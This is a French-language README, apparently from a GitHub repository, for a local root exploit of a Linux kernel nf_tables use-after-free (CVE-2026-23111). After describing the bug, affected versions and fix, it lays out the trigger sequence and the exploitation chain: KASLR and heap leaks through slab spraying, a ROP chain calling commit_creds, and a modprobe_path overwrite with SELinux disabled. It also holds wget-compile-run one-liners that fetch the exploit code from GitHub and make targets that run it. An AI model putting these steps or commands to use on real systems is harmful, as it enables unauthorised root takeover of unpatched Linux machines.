
Linux Kernel nf_tables Use-After-Free (CVE-2026-23111) — PoC d'élévation de privilèges locaux (LPE)
Utilisation-Après-Libération dans nf_tables du noyau Linux (Élévation de privilèges locale) poc par baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| Plage de versions | Corrigée dans |
|---|---|
| 6.19-rc1 to 6.19-rc8 | 6.19-rc9+ |
| 6.13 to 6.18.9 | 6.18.10 |
| 6.7 to 6.12.69 | 6.12.70 |
| 6.4.1 to 6.5.x | EOL (aucun correctif stable) |
| 6.3.10 to 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 to 6.1.162 | 6.1.163 |
| 5.15.121 to 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | Divers LTS |
CVE-2026-23111 est une utilisation-après-libération dans nf_tables causée par une vérification inversée du masque de génération dans nft_map_catchall_activate(). Lors du rollback d'une transaction ayant échoué, les éléments catchall des maps de verdict qui ont été désactivés par NFT_MSG_DELSET doivent être réactivés afin que les références telles que les références de chaîne NFT_GOTO soient restaurées. Le chemin d'activation catchall a plutôt ignoré les éléments inactifs et traité les éléments actifs, laissant les éléments catchall désactivés non restaurés.
La logique d'activation correcte pour les éléments non-catchall est :
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* ignorer actif, traiter inactif */
Le chemin catchall vulnérable utilisait la condition opposée :
if (!nft_set_elem_active(ext, genmask))
continue; /* ignorer inactif, traiter actif */
Lorsqu'une map de verdict pipapo supprimée est rollbackée, cela empêche nft_setelem_data_activate() de s'exécuter pour l'élément catchall inactif. Pour les données de verdict NFT_JUMP/NFT_GOTO, la référence de chaîne prise par nft_data_hold() n'est donc pas restaurée. La répétition de la séquence annulation/bascule/suppression peut réduire chain->use à zéro alors qu'une autre règle contient encore une référence de verdict valide vers la chaîne. Une DELCHAIN ultérieure peut alors libérer la chaîne alors qu'elle reste accessible, créant ainsi l'UAF.
Créer une table, une chaîne de base, une chaîne victime et une map de verdict pipapo avec un élément catchall NFT_GOTO -> victime
|
Batch 1 : supprimer l'ensemble pipapo, puis forcer une erreur de transaction
|
Le chemin d'annulation appelle nft_map_catchall_activate(), mais la vérification inversée ignore le catchall inactif
|
Le catchall reste inactif et le compteur de références de la chaîne victime n'est pas restauré
|
Batch 2 : valider une transaction bénigne pour basculer le curseur de génération
|
Batch 3 : supprimer l'ensemble pipapo avec succès, décrémentant à nouveau la référence de la chaîne victime
|
Batch 4 : supprimer la chaîne victime alors que le verdict de la chaîne de base y fait encore référence
|
Utilisation-après-libération lors de l'évaluation de paquet ou du dump de règles suivant la référence de verdict pendante
Le correctif en amont consiste à supprimer la négation afin que nft_map_catchall_activate() corresponde à nft_mapelem_activate() : les éléments actifs sont ignorés, les éléments inactifs sont réactivés, et les références de verdict/objet sont restaurées lors du traitement d'annulation.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
Utilisez ceci si le PoC complet/v1 échoue sur le noyau cible.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
Installez d'abord les dépendances de construction si le compilateur ne trouve pas les en-têtes libmnl/libmnl.h ou libnftnl :
scripts/install-build-deps.sh
# ou
make deps
make # Construire l'exploit (PoC uniquement)
make v2 # Construire l'exploit v2 (approche FuzzingLabs — essayez lorsque v1 échoue)
make full # Construire l'exploit LPE complet
make v3 # Construire la variante v3 calibrée eval-path
make run-d # Exécuter le PoC avec sortie de débogage
make run-v2-d # Exécuter v2 avec sortie de débogage
make run-v3 # Afficher l'utilisation/l'aide de v3
make run-full # Exécuter le LPE complet
Crée un ensemble map pipapo avec un élément catchall (goto chaîne victime), puis utilise le bogue genmask inversé lors d'une annulation DELSET pour corrompre chain->use. Après avoir avancé le compteur de génération, DELCHAIN réussit malgré les références pendantes, libérant la chaîne.
Après l'UAF, la mémoire de chain->name est libérée. Nous pulvérisons des structures seq_operations (32 octets) en ouvrant /proc/self/stat pour récupérer l'emplacement du cache slab libéré. La lecture de la règle de verdict immédiate de la chaîne de base via NFT_MSG_GETRULE vide le nom de chaîne récupéré, divulguant des pointeurs de fonctions du noyau. La validation des pointeurs garantit que seules les adresses canoniques du texte du noyau sont acceptées.
Re-déclenche l'UAF avec un nom de chaîne plus long (140 octets → kmalloc-cg-192), puis pulvérise des objets nft_rule pour récupérer la mémoire. Les pointeurs list_head divulgués révèlent des adresses tas dans la région de la carte directe.
nft_expr_ops et nft_rule_blobblob_gen_0 de la chaîne libéréecommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcoreops->eval de l'expression détournéeL'exploit v2 (exploit_v2.c) utilise les techniques décrites dans le writeup FuzzingLabs et peut être utilisé lorsque le PoC v1 échoue. Différences clés :
| Composant | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|---|---|
| Déclenchement UAF | Un seul ensemble + règle goto immédiate | Deux ensembles (style FuzzingLabs) + règle de lookup |
| Lecture KASLR | NFT_MSG_GETRULE (dump de règle) | NFT_MSG_GETELEM (dump d'élément) + fallback GETRULE |
| Fuites tas | Pulvérisation nft_rule + fuite list_head | Chaîne de lecture arbitraire init_ipc_ns |
| Hôte ROP | nft_rules + données utilisateur de table | msg_msg-2k (message de 2048 octets) |
| Déclenchement de détournement | Évaluation de paquet sur goto immédiat | Évaluation de paquet sur catchall d'ensemble survivant |
| Élévation de privilèges | commit_creds + switch_task_namespaces | Écriture de modprobe_path + désactivation SELinux |
| Chemin de retour | swapgs; iretq | msleep() (reste dans le noyau) |